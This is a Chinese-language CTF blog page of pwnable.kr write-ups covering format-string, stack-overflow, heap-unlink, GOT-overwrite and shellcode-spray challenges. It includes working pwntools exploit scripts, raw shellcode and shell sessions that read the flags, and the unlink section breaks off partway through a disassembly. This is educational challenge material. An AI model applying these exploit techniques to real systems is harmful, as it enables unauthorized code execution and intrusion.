Fork me on GitHub
R00tnb's Blog

吾将上下而求索


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

pwnable.kr-fsb

发表于 2018-02-27 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这是一道考察printf格式化字符串漏洞利用的题目,总的来说很简单,但是我却花了很长时间,主要是我有点太马虎没仔细分析代码,笑哭。

分析

先分析源代码fsb.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
char* args[]={"/bin/sh", 0};
int i;

char*** pargv = &argv;
char*** penvp = &envp;
char** arg;
char* c;
for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
*pargv=0;
*penvp=0;

for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}

printf("Wait a sec...\n");
sleep(3);

printf("key : \n");
read(0, buf2, 100);
unsigned long long pw = strtoull(buf2, 0, 10);
if(pw == key){
printf("Congratz!\n");
execve(args[0], args, 0);
return 0;
}

printf("Incorrect key \n");
return 0;
}

int main(int argc, char* argv[], char** envp){

int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);

alloca(0x12345 & key);

fsb(argv, envp); // exploit this format string bug!
return 0;
}

程序先获得一个8字节的随机数存于全局变量key中,然后调用alloca函数在栈上分配内存。之后调用fsb函数。在这个函数内部要想达到exeve函数执行shell,就必须输入正确的key值。
这个fsb函数在printf(buf)处存在格式化字符串漏洞,关于漏洞利用网上有很多就不罗嗦了。那么要getshell其实方法有很多,可以改写got表也可以leak出key的值。这里直接改写got表好了,可以把printf的地址改写为要执行shell的地址,这样当执行printf时就跳到shell中了。
下面是exp

1
2
3
//各种地址和偏移在反汇编代码中就可以看出来,就不一一分析了
%134520836c%14$n //把printf的got表地址写入fsb函数的第一个参数中(方法很多你可以写到栈上的很多位置)
%134514347c%20$n //向printf的got表写入要执行shell的地址

1
2
3
4
5
6
7
8
fsb@ubuntu:~$ ./fsb >/dev/null 2>&1
%134520836c%14$n
%134514347c%20$n
cat flag >/tmp/flag
exit
fsb@ubuntu:~$ cat /tmp/flag
Have you ever saw an example of utilizing [n] format character?? :(
fsb@ubuntu:~$

要注意的是需要把程序的标准输出和错误输出重定向到/dev/null,这样就不会因为输出数据过多而卡死了。

总结

还是简单的格式化字符串漏洞的题目,利用方法很多,当时因为一直想通过alloca函数来计算key而浪费了很多时间,然而这样计算出来的只是前4字节,唉要细心啊。。

pwnable.kr-tiny_easy

发表于 2018-02-26 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

考验漏洞利用能力的题目,长姿势了。参考了别人的writeup

分析

没有源代码,就丢ida逆向了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
LOAD:08048054 ; Attributes: noreturn
LOAD:08048054
LOAD:08048054 public start
LOAD:08048054 start proc near
LOAD:08048054 pop eax
LOAD:08048055 pop edx
LOAD:08048056 mov edx, [edx]
LOAD:08048058 call edx
LOAD:08048058 start endp ; sp-analysis failed
LOAD:08048058
LOAD:08048058 LOAD ends
LOAD:08048058
LOAD:08048058
LOAD:08048058 end start

这是什么程序??就这一点代码就什么都没了?当时也很蒙蔽,不过漏洞还是很容易看出来的。call调用其实是可以通过栈内数据控制的,但是栈上的数据是什么呢?丢进gdb看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
   0x8048050:	add    BYTE PTR [eax],dl
0x8048052: add BYTE PTR [eax],al
=> 0x8048054: pop eax
0x8048055: pop edx
0x8048056: mov edx,DWORD PTR [edx]
0x8048058: call edx
0x804805a: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffcf23c0 --> 0x1
0004| 0xffcf23c4 --> 0xffcf32bb ("/root/桌面/test/tiny_easy")
0008| 0xffcf23c8 --> 0x0
0012| 0xffcf23cc --> 0xffcf32db ("XDG_VTNR=7")
0016| 0xffcf23d0 --> 0xffcf32e6 ("XDG_SESSION_ID=c2")
0020| 0xffcf23d4 --> 0xffcf32f8 ("XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/gyh")
0024| 0xffcf23d8 --> 0xffcf3327 ("CLUTTER_IM_MODULE=xim")
0028| 0xffcf23dc --> 0xffcf333d ("GPG_AGENT_INFO=/home/gyh/.gnupg/S.gpg-agent:0:1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048054 in ?? ()
gdb-peda$

原来栈上的数据就是传入参数和环境变量的地址,接下来执行到call edx看看程序会转向哪儿。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x0
ECX: 0x0
EDX: 0x6d6f682f ('/hom')
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffcf23c8 --> 0x0
EIP: 0x8048058 (call edx)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048051: adc BYTE PTR [eax],al
0x8048053: add BYTE PTR [eax+0x5a],bl
0x8048056: mov edx,DWORD PTR [edx]
=> 0x8048058: call edx
0x804805a: add BYTE PTR [eax],al
0x804805c: add BYTE PTR [eax],al
0x804805e: add BYTE PTR [eax],al
0x8048060: add BYTE PTR [eax],al

可以看到edx的值就是第一个传入参数的前4个字节,这里是/hom。如果控制了这4个字节,就控制了程序的流程。
但是程序空间中没有调用任何函数代码,所以要getshell只有写入shellcode并跳转执行才可,程序能控制写入的地方只有环境变量和传入参数了,于是可以将shellcode写到这里面。但是题目平台是开启ASLR的,不能确定环境变量和传入参数的地址。这里可以控制程序跳转到一个大致的地址去,然后在环境变量里安排[NOP][shelcode]类似的shellcode,其中nop指令相对于shellcode要非常多,这样当程序执行跳转时一旦跳到nop覆盖的区域就会被引导至shellcode。
这个大致的地址可以选取调试时见到的值如0xffcf333d,shellcode可以用pwntools的shellcraft模块生成,于是exp如下

1
2
# 导入环境变量
for i in `seq 1 500`; do export A_$i=$(python -c 'print "\x90"*4096+"jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"');done;

1
exec -a $(python -c "print '\x3d\x33\xcf\xff'") ./tiny_easy &
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
tiny_easy@ubuntu:~$ for i in `seq 1 500`; do export A_$i=$(python -c 'print "\x90"*4096+"jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"');done;
tiny_easy@ubuntu:~$ exec -a $(python -c "print '\x3d\x33\xcf\xff'") ./tiny_easy &
[1] 30389
tiny_easy@ubuntu:~$ fg
-bash: fg: job has terminated
[1]+ Segmentation fault exec -a $(python -c "print '\x3d\x33\xcf\xff'") ./tiny_easy
tiny_easy@ubuntu:~$ exec -a $(python -c "print '\x3d\x33\xcf\xff'") ./tiny_easy &
[1] 5710
tiny_easy@ubuntu:~$ exec -a $(python -c "print '\x3d\x33\xcf\xff'") ./tiny_easy &
[2] 11068
[1] Segmentation fault exec -a $(python -c "print '\x3d\x33\xcf\xff'") ./tiny_easy
tiny_easy@ubuntu:~$ fg
exec -a $(python -c "print '\x3d\x33\xcf\xff'") ./tiny_easy
$ ls
flag tiny_easy
$ cat flag
What a tiny task :) good job!
$

另外,我所参考的writeup实际上还使用了ulimit -s unlimited关闭aslr的方法,但这个漏洞已经在题目平台修补了,可以参考CVE-2016-3672漏洞描述或者这篇文章

总结

该题漏洞的利用方法类似heap spray,只不过这是把shellcode布置在环境变量的节区上,该方法以前知道但是到了正真使用的时候却忘了,看来还是要多多练习呀。

pwnable.kr-otp

发表于 2018-02-26 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

开始一直在找溢出点哈哈,最后实在没有头绪看了别人的writeup

分析

先分析源码otp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(int argc, char* argv[]){
char fname[128];
unsigned long long otp[2];

if(argc!=2){
printf("usage : ./otp [passcode]\n");
return 0;
}

int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1) exit(-1);

if(read(fd, otp, 16)!=16) exit(-1);
close(fd);

sprintf(fname, "/tmp/%llu", otp[0]);
FILE* fp = fopen(fname, "w");
if(fp==NULL){ exit(-1); }
fwrite(&otp[1], 8, 1, fp);
fclose(fp);

printf("OTP generated.\n");

unsigned long long passcode=0;
FILE* fp2 = fopen(fname, "r");
if(fp2==NULL){ exit(-1); }
fread(&passcode, 8, 1, fp2);
fclose(fp2);

if(strtoul(argv[1], 0, 16) == passcode){
printf("Congratz!\n");
system("/bin/cat flag");
}
else{
printf("OTP mismatch\n");
}

unlink(fname);
return 0;
}

程序从/dev/urandow伪随机设备里读出16个字节,前8个字节用作文件名后8字节存在该文件里,最后会从文件中读出8字节与传入的参数做比较,相等就能getflag。
开始找溢出点半天也没找到,题目也说了不能爆破所以是一点头绪也没有。后来看了别人的writeup后真是郁闷,原来题目平台还能使用ulimit命令,该命令的介绍百度就有很多。这里使用ulimit -f 0来限制进程创建文件的大小为0,这样程序在执行fclose的时候缓冲区的内容就无法写入文件,那么最后读出来的就是0了。
于是exp就出来了,直接在题目平台上搞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
otp@ubuntu:~$ ulimit -f 0
otp@ubuntu:~$ python
Python 2.7.12 (default, Jul 1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system('ls')
flag otp otp.c
0
>>> os.system('./otp 0')
OTP generated.
Congratz!
Darn... I always forget to check the return value of fclose() :(
0
>>>

要注意的是,不能直接在shell里搞,因为这样shell直接会返回异常。

总结

这道题目的漏洞有内因和外因,内因就像flag中说的没有对fclose的返回值检查,导致可能写入文件失败。外因就是ulimit命令了,没有限制普通用户对它的使用。

pwnable.kr-simple login

发表于 2018-02-25 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

其实是一道很简单的栈溢出题目,但是我在分析代码的时候却浪费了不少时间,主要是没注意linux下base64命令在编码时会主动加上换行符\n的base64编码,导致逻辑分析错误,教训啊。

分析

还是得逆向login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE *v4; // [sp+18h] [bp-28h]@1
__int16 v5; // [sp+1Eh] [bp-22h]@1
unsigned int v6; // [sp+3Ch] [bp-4h]@1

memset(&v5, 0, 0x1Eu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ");
_isoc99_scanf("%30s", &v5);
memset(&input, 0, 0xCu);
v4 = 0;
v6 = Base64Decode((int)&v5, &v4);
if ( v6 > 0xC )
{
puts("Wrong Length");
}
else
{
memcpy(&input, v4, v6);
if ( auth(v6) == 1 )
correct();
}
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(int a1)
{
char v2; // [sp+14h] [bp-14h]@1
char *s2; // [sp+1Ch] [bp-Ch]@1
int v4; // [sp+20h] [bp-8h]@1

memcpy(&v4, &input, a1);
s2 = (char *)calc_md5((int)&v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
1
2
3
4
5
6
7
8
9
void __noreturn correct()
{
if ( input == -559038737 )
{
puts("Congratulation! you are good!");
system("/bin/sh");
}
exit(0);
}

贴上主要函数的反编译代码。主要逻辑是通过auth函数的判断可以给你个shell。分析auth函数可以知道,正常途径需要md5值跟f87cd601aa7fedca99018a8be88eda34相等才能通过判断,但是这个md5值计算的是栈上的数据,这里没有办法控制,而且这个md5值网上也没有破解到明文,所以此路不通。
继续程序逻辑可以发现,输入的字符串会经过Base64Decode解码,这个函数和上一题md5 calculator算法一样,也存在溢出,但是这里由于限制的输入字符串只有30字节,只能从变量v4溢出到v5,作用不大。接下来程序限制了解码后的明文长度只能小于或等于0xc,然后明文会被复制到数据段的input变量中,进入auth函数内部可以发现这个函数调用memcpy(&v4, &input, a1);,然而v4实际上只有8个字节大小。如果明文最大12个字节的话,那么存储ebp的栈空间就会被覆盖。再看看main函数最后有一个leave指令,这个指令相当于mov esp,ebp;pop ebp,而这个ebp就是前面可以控制的栈空间中的ebp。那么之后函数返回时就能控制返回地址。
整理下思路:

  1. 明文最大长度12字节,最后4字节填入存储执行的地址的地址在减4字节(还有pop ebp操作)如input地址
  2. 明文前4字节填入要执行的地址,如system('/bin/sh');反汇编可以看到地址是0x08049284

exp如下

1
2
3
4
5
6
7
Python 2.7.12 (default, Dec  4 2017, 14:50:18) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64.b64encode('\x84\x92\x04\x081234\x3c\xeb\x11\x08')
'hJIECDEyMzQ86xEI'
>>> quit()

1
2
3
4
5
6
7
8
9
10
root@1:~/桌面/test$ nc pwnable.kr 9003
Authenticate : hJIECDEyMzQ86xEI
hash : 7e562c3d896c061642d4d64162cbf94e
ls
flag
log
simplelogin
super.pl
cat flag
control EBP, control ESP, control EIP, control the world~

另外需要注意的是auth函数是没有stack canary保护的,所以可以放心覆盖。

总结

难度不难,但是要注意细节。

pwnable.kr-md5 calculator

发表于 2018-02-25 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

也是一个很有pwn味道的题目,涉及的知识在掌握范围内所以做起来很爽!

分析

题目只给了可执行文件hash。于是就放到ida中逆向了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax@1
int v5; // [sp+18h] [bp-8h]@1
int v6; // [sp+1Ch] [bp-4h]@1

setvbuf(stdout, 0, 1, 0);
setvbuf(stdin, 0, 1, 0);
puts("- Welcome to the free MD5 calculating service -");
v3 = time(0);
srand(v3);
v6 = my_hash();
printf("Are you human? input captcha : %d\n", v6);
__isoc99_scanf("%d", &v5);
if ( v6 != v5 )
{
puts("wrong captcha!");
exit(0);
}
puts("Welcome! you are authenticated.");
puts("Encode your data with BASE64 then paste me!");
process_hash();
puts("Thank you for using our service.");
system("echo `date` >> log");
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int my_hash()
{
int result; // eax@4
int v1; // edx@4
signed int i; // [sp+0h] [bp-38h]@1
char v3[32]; // [sp+Ch] [bp-2Ch]@2
int v4; // [sp+10h] [bp-28h]@4
int v5; // [sp+14h] [bp-24h]@4
int v6; // [sp+18h] [bp-20h]@4
int v7; // [sp+1Ch] [bp-1Ch]@4
int v8; // [sp+20h] [bp-18h]@4
int v9; // [sp+24h] [bp-14h]@4
int v10; // [sp+28h] [bp-10h]@4
int v11; // [sp+2Ch] [bp-Ch]@1

v11 = *MK_FP(__GS__, 20);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v3[4 * i] = rand();
result = v7 - v9 + v10 + v11 + v5 - v6 + v4 + v8;
v1 = *MK_FP(__GS__, 20) ^ v11;
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int process_hash()
{
int v0; // ST14_4@3
char *ptr; // ST18_4@3
char v3; // [sp+1Ch] [bp-20Ch]@1
int v4; // [sp+21Ch] [bp-Ch]@1

v4 = *MK_FP(__GS__, 20);
memset(&v3, 0, 0x200u);
while ( getchar() != 10 )
;
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(&v3, 0, 0x200u);
v0 = Base64Decode(g_buf, (int)&v3);
ptr = calc_md5((int)&v3, v0);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return *MK_FP(__GS__, 20) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl Base64Decode(const char *a1, int a2)
{
signed int v2; // ST2C_4@1
FILE *stream; // ST34_4@1
int v4; // eax@1
int v5; // ST38_4@1
int v6; // eax@1
int v7; // ST3C_4@1

v2 = calcDecodeLength(a1);
stream = (FILE *)fmemopen((int)a1, strlen(a1), (int)&unk_8049272);
v4 = BIO_f_base64();
v5 = BIO_new(v4);
v6 = BIO_new_fp(stream, 0);
v7 = BIO_push(v5, v6);
BIO_set_flags(v7, 256);
*(_BYTE *)(a2 + BIO_read(v7, a2, strlen(a1))) = 0;// overflow
BIO_free_all(v7);
fclose(stream);
return v2;
}

贴出来了最关键的几个函数。通过ida反编译的代码还是很容易理清程序逻辑的,其中可以发现两处漏洞。

  • my_hash函数中使用的变量v11其实是stack canary。
  • Base64Decode函数会把a1地址处的字符串base64解码,然后会把解码后的数据复制到a2所指示的缓冲区内,这里由于最大复制长度使用strlen(a1)而不是a2的长度导致溢出。

程序的保护如下

1
2
3
4
5
6
7
root@1:~/桌面/test$ checksec hash
[*] '/home/root/\xe6\xa1\x8c\xe9\x9d\xa2/test/hash'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

由于是栈溢出漏洞,只要通过my_hash函数的漏洞leak出canary就可以getshell。在my_hash中调用了rand函数,只要随机种子一样那么就可以预测任意一次的随机值,另外time(0)函数返回的时间是以秒为单位的,所以完全可以获得种子。
接下来就可以栈溢出覆盖返回地址了。system的地址可以使用它的plt地址,那/bin/sh地址呢?这里可以让程序溢出时重新跳入process_hash函数然后输入该字符串,把该字符串存储在数据段,由于数据段地址不变所以可以这样利用。
整理下利用思路:

  1. 在连接题目时本地同样以time函数设置随机种子,获得随机序列并计算canary
  2. 布置栈空间,使程序溢出时执行process_hash函数并向数据段写入/bin/sh

下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import ctypes
import base64
from pwn import *

def work(DEBUG):
context(arch='i386',os='linux',log_level='info')
ll = ctypes.cdll.LoadLibrary
lib = ll('libc.so.6')
system_plt = 0x08048880
process_hash_addr = 0x08048f92
data_var = 0x0804b0e0

if DEBUG:
r = process('./hash')
else:
r = remote('pwnable.kr',9002)

lib.srand(lib.time(0))
# my_hash
v3 = lib.rand()
v4 = lib.rand()
v5 = lib.rand()
v6 = lib.rand()
v7 = lib.rand()
v8 = lib.rand()
v9 = lib.rand()
v10 = lib.rand()

r.recvuntil(' : ')
rel = int(r.recvuntil('\n'))
canary = rel-v7+v9-v10-v5+v6-v4-v8
canary &= 0xffffffff

payload = 'a'*0x200 #junk code
payload += p32(canary)+'a'*12
payload += p32(process_hash_addr)+p32(system_plt)#ret addr
payload += 'a'*4+p32(data_var)
payload = base64.b64encode(payload)

r.sendline(str(rel))
r.recvuntil('me!\n')
r.sendline(payload+'\n')
r.recvuntil('\n')
r.sendline('/bin/sh')
r.recvuntil('\n')
r.interactive()


work(False)

1
2
3
4
5
6
7
8
9
10
11
12
root@1:~/桌面/test$ python 1.py
[+] Opening connection to pwnable.kr on port 9002: Done
[*] Switching to interactive mode
$ ls
flag
log
log2
md5calculator
super.pl
$ cat flag
Canary, Stack guard, Stack protector.. what is the correct expression?
$

要注意的是,如果网速太差就会导致canary计算错误,解决办法是将exp上传到题目服务器本地执行(看题目提示)

总结

stack canary能很好的防止栈溢出,但是程序的其他地方如果能够泄漏canary还是没卵用。

pwnable.kr-brain fuck

发表于 2018-02-25 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这道题就有点pwn的意思了嘛

分析

题目只给了一个可执行文件bf和一个动态链接文件bf_libc.so,看来只有逆向它了。使用ida反编译一下bf逆向它的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@4
int v4; // edx@4
size_t i; // [sp+28h] [bp-40Ch]@1
int v6; // [sp+2Ch] [bp-408h]@1
int v7; // [sp+42Ch] [bp-8h]@1

v7 = *MK_FP(__GS__, 20);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(&v6, 0, 0x400u);
fgets((char *)&v6, 1024, stdin);
for ( i = 0; i < strlen((const char *)&v6); ++i )
do_brainfuck(*((_BYTE *)&v6 + i));
result = 0;
v4 = *MK_FP(__GS__, 20) ^ v7;
return result;
}

这是main函数,逻辑简单,主要是对输入字符串的每个字符调用do_brainfuck函数处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl do_brainfuck(char a1)
{
int result; // eax@1
_BYTE *v2; // ebx@7

result = a1;
switch ( a1 )
{
case 62: // >
result = p++ + 1;
break;
case 60: // <
result = p-- - 1;
break;
case 43: // +
result = p;
++*(_BYTE *)p;
break;
case 45: // -
result = p;
--*(_BYTE *)p;
break;
case 46: // .
result = putchar(*(_BYTE *)p);
break;
case 44: // ,
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case 91: // [
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}

do_brainfuck函数对传入的字符进行switch选择,显然这里可以对p地址的内容进行操作,可以改变地址值可以往地址里读写内容。那么p是啥东西呢?查看反汇编可以发现,p存储的地址就在.bss段,它的上面就是got表。所以思路就是通过do_brainfuck函数改写got表,获得shell。使用checksec发现程序的保护情况如下,可以通过改写got表获得shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@1:~/桌面/test$ checksec bf
[*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/test/bf'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
root@1:~/桌面/test$ checksec bf_libc.so
[*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/test/bf_libc.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

具体思路是:

  1. 获得fgets函数的地址
  2. 根据libc中各函数的相对偏移计算system,gets函数的地址
  3. 将got表中memset覆盖为gets,fgets覆盖为system,putchar覆盖为main
  4. 通过覆盖后的gets函数输入/bin/sh

这样当再次执行回main函数时即可getshell。具体exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# coding:utf-8
from pwn import *

def work(DEBUG):
context(arch='i386',os='linux',log_level='info')
if DEBUG:
r = process('./bf')
libc = ELF('/lib/i386-linux-gnu/libc.so.6') #本地libc(使用ldd查看)
elf = r.elf
else:
r = remote('pwnable.kr',9001)
libc = ELF('./bf_libc.so')
elf = ELF('./bf')

p_addr = 0x0804a0a0
main_addr = 0x08048671

#bf got addr
fgets_got = elf.got['fgets']
memset_got = elf.got['memset']
putchar_got = elf.got['putchar']

#bf_libc.so function offset with 'fgets'
gets_offset = libc.symbols['gets']-libc.symbols['fgets']
system_offset = libc.symbols['system']-libc.symbols['fgets']

r.recvuntil(']\n')
payload = '<'*(p_addr-fgets_got)+'.>'*4 #get fgets_addr
payload += '<'*4+',>'*4 #set system_addr to fgets_got
payload += '>'*(memset_got-fgets_got-4)+',>'*4 #set gets_addr to memset_got
payload += '>'*(putchar_got-memset_got-4)+',>'*4 #set main_addr to putchar_got
payload += '.' #call putchar to call main

r.sendline(payload)
fgets_addr = ''
for i in xrange(4):
fgets_addr += r.recv(1)
fgets_addr = u32(fgets_addr)
gets_addr = fgets_addr+gets_offset
system_addr = fgets_addr+system_offset

r.sendline(p32(system_addr)+p32(gets_addr)+p32(main_addr)+'/bin/sh')
r.interactive()

work(False)

1
2
3
4
5
6
7
8
9
10
11
12
[*] Switching to interactive mode
welcome to brainfuck testing system!!
type some brainfuck instructions except [ ]
$ ls
brainfuck
flag
libc-2.23.so
log
super.pl
$ cat flag
BrainFuck? what a weird language..
$

总结

题目很基础,加深了对基础的理解。

pwnable.kr-unlink

发表于 2018-02-21 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这是一道简化了的linux下malloc堆溢出漏洞利用。需要理解linux下关于glibc的堆管理的相关内容,参考

分析

分析源码unlink.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;

void shell(){
system("/bin/sh");
}

void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;
}

程序很简单完全就是教学版的unlink堆溢出利用。程序在gets(A->buf)处存在堆溢出漏洞,之后调用unlink(B)函数把B节点从链表中取下来。这个函数中,如果控制了P节点的fb和bk指针,那么就可以造成任意地址写入,写入过程是将bk写入fb+4表示的地址处,将fb写入bk表示的地址处。要想写入想要的地址,必须要保证两步写入操作不会触发写异常保护,这里需要控制esp的值来使main函数在返回时执行ret指令将shell地址赋给eip。
下面分析main函数反汇编代码,来构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
0804852f <main>:
804852f: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048533: 83 e4 f0 and $0xfffffff0,%esp
8048536: ff 71 fc pushl -0x4(%ecx)
8048539: 55 push %ebp
804853a: 89 e5 mov %esp,%ebp
804853c: 51 push %ecx
804853d: 83 ec 14 sub $0x14,%esp
8048540: 83 ec 0c sub $0xc,%esp
8048543: 68 00 04 00 00 push $0x400
8048548: e8 53 fe ff ff call 80483a0 <malloc@plt>
804854d: 83 c4 10 add $0x10,%esp
8048550: 83 ec 0c sub $0xc,%esp
8048553: 6a 10 push $0x10
8048555: e8 46 fe ff ff call 80483a0 <malloc@plt>
804855a: 83 c4 10 add $0x10,%esp
804855d: 89 45 ec mov %eax,-0x14(%ebp)
8048560: 83 ec 0c sub $0xc,%esp
8048563: 6a 10 push $0x10
8048565: e8 36 fe ff ff call 80483a0 <malloc@plt>
804856a: 83 c4 10 add $0x10,%esp
804856d: 89 45 f4 mov %eax,-0xc(%ebp)
8048570: 83 ec 0c sub $0xc,%esp
8048573: 6a 10 push $0x10
8048575: e8 26 fe ff ff call 80483a0 <malloc@plt>
804857a: 83 c4 10 add $0x10,%esp
804857d: 89 45 f0 mov %eax,-0x10(%ebp)
8048580: 8b 45 ec mov -0x14(%ebp),%eax
8048583: 8b 55 f4 mov -0xc(%ebp),%edx
8048586: 89 10 mov %edx,(%eax)
8048588: 8b 55 ec mov -0x14(%ebp),%edx
804858b: 8b 45 f4 mov -0xc(%ebp),%eax
804858e: 89 50 04 mov %edx,0x4(%eax)
8048591: 8b 45 f4 mov -0xc(%ebp),%eax
8048594: 8b 55 f0 mov -0x10(%ebp),%edx
8048597: 89 10 mov %edx,(%eax)
8048599: 8b 45 f0 mov -0x10(%ebp),%eax
804859c: 8b 55 f4 mov -0xc(%ebp),%edx
804859f: 89 50 04 mov %edx,0x4(%eax)
80485a2: 83 ec 08 sub $0x8,%esp
80485a5: 8d 45 ec lea -0x14(%ebp),%eax
80485a8: 50 push %eax
80485a9: 68 98 86 04 08 push $0x8048698
80485ae: e8 cd fd ff ff call 8048380 <printf@plt>
80485b3: 83 c4 10 add $0x10,%esp
80485b6: 8b 45 ec mov -0x14(%ebp),%eax
80485b9: 83 ec 08 sub $0x8,%esp
80485bc: 50 push %eax
80485bd: 68 b8 86 04 08 push $0x80486b8
80485c2: e8 b9 fd ff ff call 8048380 <printf@plt>
80485c7: 83 c4 10 add $0x10,%esp
80485ca: 83 ec 0c sub $0xc,%esp
80485cd: 68 d8 86 04 08 push $0x80486d8
80485d2: e8 d9 fd ff ff call 80483b0 <puts@plt>
80485d7: 83 c4 10 add $0x10,%esp
80485da: 8b 45 ec mov -0x14(%ebp),%eax
80485dd: 83 c0 08 add $0x8,%eax
80485e0: 83 ec 0c sub $0xc,%esp
80485e3: 50 push %eax
80485e4: e8 a7 fd ff ff call 8048390 <gets@plt>
80485e9: 83 c4 10 add $0x10,%esp
